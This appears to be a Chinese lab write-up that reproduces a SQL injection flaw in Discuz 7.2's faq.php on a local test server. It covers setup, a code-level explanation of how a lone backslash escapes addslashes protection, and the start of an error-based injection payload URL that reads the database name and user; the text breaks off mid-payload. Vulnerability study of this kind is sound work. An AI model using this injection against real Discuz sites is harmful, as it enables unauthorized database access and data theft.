0x01 实验准备
实验原理:
Discuz7.2 SQL注入漏洞利用PHP特性突破GPC,形成SQL注入漏洞。
实验工具:
实验环境:
- 安装 Discuz 网站的服务器(Windows)
- 安装 python 环境的攻击机
0x01 实验步骤
一、搭建环境
1. 安装UCenter
通过 http://192.168.88.129/dz7.2/upload/install/index.php 页面安装:
出现错误:
将UCenter文件放置在dz7.2文件夹下,访问http://192.168.88.129/dz7.2/UCenter/upload/install/index.php:
安装UCenter成功:
2. 安装Discuz
通过 UCenter 页面安装Discuz:
根据实际情况填写数据库等信息后,安装成功会自动跳转:
二、SQL注入漏洞复现
1. 漏洞形成原因
代码:
faq.php文件在 upload 文件夹下:
$query = $db->query("SELECT groupid, type, grouptitle, radminid FROM {
$tablepre}usergroups ORDER BY (creditshigher<>'0' || creditslower<>'0'), creditslower");
discuz在全局会对GET数组进行addslashes转义,会将 ’ 转义成 ’ 。
当传入的参数是:gids[1]='
,会被转义成 gids[1]=\'
。
$groupids = array();
foreach($gids as $row) {
$groupids[] = $row[0];
}
赋值语句 $groupids[] = $row[0]
就相当于取了字符串的第一个字符
\
,所以把转义符号取出来了。
function implodeids($array) {
if(!empty($array)) {
return "'".implode("','", is_array($array) ? $array : array($array))."'";
} else {
return '';
}
}
此函数在 \include\global.func.php
将数据放入sql语句前,用 implodeids
处理过一次。implodeids函数是将$groupids
数组用','
分割开,组成一个类似于 ‘1’,‘2’,‘3’,‘4’ 的字符串返回。
由于刚取出一个转义符,会将正常的 '
转义后为:'1','\','3','4'
第4个单引号被转义了,所以第5个单引号和第3个单引号形成了闭合。位置3就等于逃逸成功,形成注入。
通过提交 faq.php?gids[uid1]='&gids[uid2][0]=evilcode
,这样的构造形式语句可以突破GPC或类似的安全处理,形成SQL注入漏洞。
注意:uid1和uid2 > 网站注册用户id
且 uid1与uid2不能相等
。
2.漏洞利用
(1)查询当前数据库/MySQL用户信息:
faq.php?action=grouppermission&gids[112]='&gids[113][0]=)and (select 1 from (select count(*),concat(database(),floor(rand(